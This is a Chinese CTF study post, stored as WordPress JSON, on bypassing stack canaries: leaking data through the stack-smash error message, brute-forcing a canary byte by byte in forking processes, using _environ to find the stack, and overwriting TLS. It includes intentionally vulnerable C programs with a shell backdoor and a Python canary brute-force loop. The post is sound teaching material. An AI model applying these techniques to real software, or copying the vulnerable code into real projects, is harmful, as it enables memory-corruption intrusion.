{"id":451,"date":"2021-12-25T01:02:57","date_gmt":"2021-12-24T17:02:57","guid":{"rendered":"https:\/\/dreamc.top\/?p=451"},"modified":"2021-12-25T01:02:57","modified_gmt":"2021-12-24T17:02:57","slug":"%e7%bc%93%e5%86%b2%e5%8c%ba%e6%ba%a2%e5%87%ba%e5%8f%8a%e6%94%bb%e5%87%bb%e6%80%bb%e7%bb%93%e4%ba%8c","status":"publish","type":"post","link":"https:\/\/dreamc.top\/index.php\/2021\/12\/25\/%e7%bc%93%e5%86%b2%e5%8c%ba%e6%ba%a2%e5%87%ba%e5%8f%8a%e6%94%bb%e5%87%bb%e6%80%bb%e7%bb%93%e4%ba%8c\/","title":{"rendered":"\u7f13\u51b2\u533a\u6ea2\u51fa\u53ca\u653b\u51fb\u603b\u7ed3(\u4e8c)"},"content":{"rendered":"<div class=\"wp-block-jetpack-markdown\"><h2><span class=\"ez-toc-section\" id=\"stack_smash\"><\/span>stack smash<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3><span class=\"ez-toc-section\" id=\"%E5%8E%9F%E7%90%86\"><\/span>\u539f\u7406<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u600e\u4e48\u8bf4\uff0c\u5c31\u662f\u5229\u7528canary\u7684\u62a5\u9519\u53bb\u8bfb\u53d6\u6211\u4eec\u60f3\u8981\u83b7\u53d6\u7684\u5185\u5bb9\u3002\u5f53\u6808\u6ea2\u51fa\u8986\u76d6\u4e86canary\uff0c\u7a0b\u5e8f\u6700\u540e\u68c0\u6d4b\u5230canary\u503c\u88ab\u7834\u574f\u4e4b\u540e\u4f1a\u8c03\u7528stack_chk_fail\u51fd\u6570\uff08\u4ee5glibc2.26\u4e3a\u4f8b\uff09<\/p>\n<pre><code>void\n__attribute__ ((noreturn))\n__stack_chk_fail (void)\n{\n  __fortify_fail_abort (false, &quot;stack smashing detected&quot;);\n}       \/\/ debug\/stack_chk_fail.c\n<\/code><\/pre>\n<p>\u53d1\u73b0\u4f20\u5165\u4e86\u4e00\u4e32\u5b57\u7b26\u4e32\u548cfalse\u5230fortify_fail\u51fd\u6570<\/p>\n<pre><code>void\n__attribute__ ((noreturn))\n__fortify_fail_abort (_Bool need_backtrace, const char *msg)\n{\n  \/* The loop is added only to keep gcc happy.  Don&#039;t pass down\n     __libc_argv[0] if we aren&#039;t doing backtrace since __libc_argv[0]\n     may point to the corrupted stack.  *\/\n  while (1)\n    __libc_message (need_backtrace ? (do_abort | do_backtrace) : do_abort,\n    &quot;*** %s ***: %s terminated\\n&quot;,\n    msg,\n    (need_backtrace &amp;&amp; __libc_argv[0] != NULL\n     ? __libc_argv[0] : &quot;&lt;unknown&gt;&quot;));\n}       \/\/ debug\/fortify_fail.c\n<\/code><\/pre>\n<p>\u53d1\u73b0\u6253\u5370\u4e86\u4f20\u8fc7\u6765\u7684\u5b57\u7b26\u4e32\u548c\u6587\u4ef6\u540d\uff0c<code>__libc_argv[0]<\/code>\u76f8\u5f53\u4e8e\u662f\u6587\u4ef6\u540d\u5b57\u7b26\u4e32\u7684\u5730\u5740\uff0c\uff08\u5728glibc2.23\u53ea\u8981\u6211\u4eec\u628a\u5b83\u6362\u6210\u6211\u4eec\u60f3\u8981\u83b7\u53d6\u7684\u5185\u5bb9\u7684\u5730\u5740\uff0c\u5c31\u4f1a\u8bfb\u51fa\u8be5\u5730\u5740\u7684\u5185\u5bb9\u3002\uff09\uff0c\u4f46\u662f\u8fd9\u91cc\u4e0d\u80fd\u7684\uff0cneed_backtrace\u4f20\u8fc7\u6765\u7684\u662fflase\uff0c\u6240\u4ee5\u4e00\u5b9a\u662f<code>&quot;&lt;unknown&gt;&quot;<\/code>\uff0c\u4ece2.26\u4e4b\u540e\u90fd\u4e0d\u80fd\u7528\u8fd9\u4e2a\u65b9\u6cd5\uff0c\u5927\u5bb6\u53ef\u4ee5\u4e0b\u8f7d<a href=\"http:\/\/ftp.gnu.org\/gnu\/glibc\/\">glibc\u6e90\u7801<\/a>\u53bb\u770b\u3002\n\u60f3\u8981\u4e86\u89e3\u66f4\u8be6\u7ec6\u53ef\u4ee5\u770b\u5408\u5929\u7684\u8fd9\u7bc7\u6587\u7ae0https:\/\/zhuanlan.zhihu.com\/p\/362917125<\/p>\n<h3><span class=\"ez-toc-section\" id=\"%E4%BE%8B%E9%A2%981\"><\/span>\u4f8b\u98981<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u5148\u770b\u4e00\u9053\u7b80\u5355\u7684\u4f8b\u9898(glibc2.23)<\/p>\n<pre><code>#include&lt;stdio.h&gt;\n#include&lt;stdlib.h&gt;\n#include&lt;unistd.h&gt;\n\nchar flag[0x40];\n\nvoid inits()\n{\n    setbuf(stdin,0);\n    setbuf(stdout,0);\n    setbuf(stderr,0);   \n    int fd = open(&quot;.\/flag&quot;,0);\n    if(fd == -1)\n    {\n        puts(&quot;Something wrong!&quot;);\n        exit(0);\n    }\n    read(fd,flag,0x30);\n    close(fd);\n}\n\nint main()\n{\n    char a[0x20];\n    inits();\n    puts(&quot;Hello!&quot;);\n    gets(a);\n    return 0;\n}\n\/\/gcc test4-1.c -no-pie -o test4-1\n<\/code><\/pre>\n<p>\u6709\u660e\u663e\u7684\u6808\u6ea2\u51fa\uff0c\u627e\u5230flag\u5730\u5740\uff0c\u8986\u76d6\u5230\u6587\u4ef6\u540d\u5730\u5740\uff0c\u5f97\u5230flag\u3002<\/p>\n<h2><span class=\"ez-toc-section\" id=\"%E5%A4%9A%E8%BF%9B%E7%A8%8B%E4%B8%8B%E7%9A%84%E7%88%86%E7%A0%B4canary\"><\/span>\u591a\u8fdb\u7a0b\u4e0b\u7684\u7206\u7834canary<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3><span class=\"ez-toc-section\" id=\"%E5%8E%9F%E7%90%86-2\"><\/span>\u539f\u7406<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u51fd\u6570<code>pid_t fork(void)<\/code>\u4f1a\u521b\u5efa\u4e00\u4e2a\u65b0\u8fdb\u7a0b\uff0c\u64cd\u4f5c\u7cfb\u7edf\u4f1a\u590d\u5236\u7236\u8fdb\u7a0b\u7684\u5730\u5740\u7a7a\u95f4\u4e2d\u7684\u5185\u5bb9\u7ed9\u5b50\u8fdb\u7a0b\u3002\u8c03\u7528fork\u51fd\u6570\u540e\uff0c\u5b50\u8fdb\u7a0b\u4e0e\u7236\u8fdb\u7a0b\u7684\u6267\u884c\u987a\u5e8f\u662f\u65e0\u6cd5\u786e\u5b9a\u7684\u3002\u5b50\u8fdb\u7a0b\u65e0\u6cd5\u901a\u8fc7fork()\u6765\u521b\u5efa\u5b50\u8fdb\u7a0b\u3002\u8fd9\u4e2a\u51fd\u6570\u6709\u4e09\u79cd\u8fd4\u56de\u503c<\/p>\n<ol>\n<li>\u5728\u7236\u8fdb\u7a0b\u4e2d\uff0cfork\u8fd4\u56de\u65b0\u521b\u5efa\u7684\u5b50\u8fdb\u7a0b\u7684\u8fdb\u7a0bID\uff1b<\/li>\n<li>\u5728\u5b50\u8fdb\u7a0b\u4e2d\uff0cfork\u8fd4\u56de0\uff1b<\/li>\n<li>\u5982\u679c\u51fa\u73b0\u4e00\u4e2a\u9519\u8bef\uff0cfork\u8fd4\u56de\u4e00\u4e2a\u8d1f\u503c\u3002\n\u5982\u679c\u5728\u4e00\u4e2a\u5faa\u73af\u4f53\u5185\uff0c\u53ef\u4ee5\u5229\u7528\u6808\u6ea2\u51fa\u4e00\u4e2a\u5b57\u8282\u7684\u4e00\u4e2a\u5b57\u8282\u7684\u7206\u7834canary\uff0c\u4e0d\u65adfork\uff0c\u76f4\u5230fork\u8fd4\u56de0\uff0c\u8bc1\u660e\u8be5\u5b57\u8282\u7206\u7834\u6210\u529f\uff0c\u4e00\u5171\u7206\u78347\u5b57\u8282\uff0c\u6700\u4f4e\u4f4d\u662f\\x00\u3002<\/li>\n<\/ol>\n<h3><span class=\"ez-toc-section\" id=\"%E4%BE%8B%E9%A2%982\"><\/span>\u4f8b\u98982<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<pre><code>#include&lt;stdio.h&gt;\n#include&lt;stdlib.h&gt;\n#include&lt;unistd.h&gt;\n#include&lt;stdlib.h&gt;\n\nvoid inits()\n{\n    setbuf(stdin,0);\n    setbuf(stdout,0);\n    setbuf(stderr,0);\n}\n\nvoid backdoor()\n{\n    system(&quot;\/bin\/sh\\x00&quot;);\n}\n\nvoid func()\n{\n    puts(&quot;Input your name:&quot;);\n    char buf[0x20];\n    read(0,buf,0x60);\n}\nint main(void)\n{\n    inits();\n    pid_t pid = 0;\n    while(1)\n    {\n        pid = fork();\n        if(pid &lt; 0)\n        {\n            printf(&quot;Error!&quot;);\n            exit(0);\n        }\n        if(pid == 0)\n        {\n            func();\n            puts(&quot;Good!&quot;);\n        }\n        else\n            wait();\n    }\n    return 0;\n}\n<\/code><\/pre>\n<p>\u901a\u8fc7\u4e0a\u9762\u7684\u601d\u8def\u53ef\u76f4\u63a5\u5199\u51faexp\u3002\u7206\u7834\u540e\u7528\u540e\u95e8\u5730\u5740\u8986\u76d6\u8fd4\u56de\u5730\u5740\u3002\u7206\u7834\u90e8\u5206\u5982\u4e0b\uff1a<\/p>\n<pre><code>canary = &#039;\\x00&#039;\nfor j in range(7):\n    for i in range(0x100):      \n        p.send(&#039;a&#039;*0x28 + canary + chr(i))\n        a = p.recvuntil(&#039;Input your name:\\n&#039;)\n        if &#039;Good!&#039; in a:\n            canary += chr(i)\n            print(hex(u64(canary.ljust(8,&#039;\\x00&#039;))))\n            break\n<\/code><\/pre>\n<h3><span class=\"ez-toc-section\" id=\"%E4%BE%8B%E9%A2%983\"><\/span>\u4f8b\u98983<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u7f51\u9f0e\u676f2018-guess<\/p>\n<p>\u5f00\u4e86nx\u548ccanary\uff0c\u653e\u8fdbIDA\uff0c\u53d1\u73b0\u5b83\u5c06flag\u8bfb\u8fdb\u4e86buf\u8fd9\u4e2a\u53d8\u91cf\uff0c\u6240\u4ee5\u6211\u4eec\u8981\u83b7\u53d6flag\u5c31\u8981\u5148\u6cc4\u9732\u6808\u5730\u5740\u3002\u540e\u9762fork\u4e86\u4e09\u6b21\uff0c\u6211\u4eec\u4e0d\u80fd\u76f4\u63a5\u6cc4\u9732\u6808\u5730\u5740\uff0c\u53ea\u80fd\u901a\u8fc7\u6cc4\u9732libc\u5730\u5740\u6765\u6cc4\u9732\u6808\u5730\u5740\u3002\u5728libc\u4e2d\u4fdd\u5b58\u4e86\u4e00\u4e2a\u51fd\u6570\u53eb_environ\uff0c\u5b58\u7684\u662f\u5f53\u524d\u8fdb\u7a0b\u7684\u73af\u5883\u53d8\u91cf\uff0c\u5f97\u5230libc\u5730\u5740\u540e\uff0clibc\u57fa\u5740+_environ\u7684\u504f\u79fb\u91cf=_environ\u7684\u5730\u5740\uff0c\u5728\u5185\u5b58\u5e03\u5c40\u4e2d\uff0c\u4ed6\u4eec\u540c\u5c5e\u4e8e\u4e00\u4e2a\u6bb5\uff0c\u5f00\u542fASLR\u4e4b\u540e\u76f8\u5bf9\u4f4d\u7f6e\u4e0d\u53d8\uff0c\u504f\u79fb\u91cf\u4e4b\u548clibc\u5e93\u6709\u5173\uff0c\u901a\u8fc7_environ\u7684\u5730\u5740\u5f97\u5230_environ\u7684\u503c\uff0c\u4ece\u800c\u5f97\u5230\u73af\u5883\u53d8\u91cf\u5730\u5740\uff0c\u73af\u5883\u53d8\u91cf\u4fdd\u5b58\u5728\u6808\u4e2d\uff0c\u6240\u4ee5\u901a\u8fc7\u6808\u5185\u7684\u504f\u79fb\u91cf\uff0c\u53ef\u4ee5\u8bbf\u95ee\u6808\u4e2d\u4efb\u610f\u53d8\u91cf\u3002\u5f97\u5230\u6808\u5730\u5740\u540e\uff0c\u8ba1\u7b97\u4e0ebuf\u7684\u504f\u79fb\uff0c\u5f97\u5230buf\u5730\u5740\uff0c\u7528stack smash\u5f97\u5230flag\u3002\u4e0d\u653eexp\u4e86\uff0c\u6709\u95ee\u9898\u653e\u8bc4\u8bba\u3002\n\u4f8b\u98983\u9898\u76ee\u94fe\u63a5\uff1ahttps:\/\/buuoj.cn\/challenges<\/p>\n<p>\u53c2\u8003\u8d44\u6599\uff1ahttps:\/\/www.bilibili.com\/video\/BV1Uv411j7fr?p=10&amp;spm_id_from=333.1007.top_right_bar_window_history.content.click<\/p>\n<h2><span class=\"ez-toc-section\" id=\"%E5%8A%AB%E6%8C%81TLS%E7%BB%95%E8%BF%87canary\"><\/span>\u52ab\u6301TLS\u7ed5\u8fc7canary<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3><span class=\"ez-toc-section\" id=\"%E5%8E%9F%E7%90%86-3\"><\/span>\u539f\u7406<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u7ebf\u7a0b\u5c40\u90e8\u5b58\u50a8\uff08Thread Local Storage\uff0cTLS\uff09<a href=\"https:\/\/dere.press\/2020\/10\/18\/glibc-tls\/\">\u770b\u8fd9\u91cc<\/a>\u611f\u89c9\u8fd9\u91cc\u4ecb\u7ecd\u7684\u5f88\u8be6\u7ec6\uff0c\u6211\u6839\u636e\u81ea\u5df1\u7406\u89e3\u7b80\u5355\u8bb2\u4e00\u4e0b\uff0c\u5728\u975e\u4e3b\u7ebf\u7a0b\u65f6\uff0cTCB\u7ed3\u6784\u4f53\u4f4d\u4e8e\u6808\u4e0a\uff0c\u5bf9\u4e8e\u6709\u8db3\u591f\u957f\u7684\u6808\u6ea2\u51fa\uff0c\u6211\u4eec\u5f88\u5bb9\u6613\u8986\u76d6stack_guard\u4ee5\u53capointer_guard\uff0c\u4ece\u800c\u7ed5\u8fc7canary\u3002<\/p>\n<p>\u53c2\u8003\uff1a<a href=\"https:\/\/xz.aliyun.com\/t\/4657?page=5#toc-3\">canary\u7684\u5404\u79cd\u7ed5\u8fc7<\/a><\/p>\n<\/div>\n<p><\/p>","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"advanced_seo_description":"","jetpack_seo_html_title":"","jetpack_seo_noindex":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[7],"tags":[],"class_list":["post-451","post","type-post","status-publish","format-standard","hentry","category-studyrecords"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/posts\/451","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/comments?post=451"}],"version-history":[{"count":0,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/posts\/451\/revisions"}],"wp:attachment":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/media?parent=451"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/categories?post=451"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/tags?post=451"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}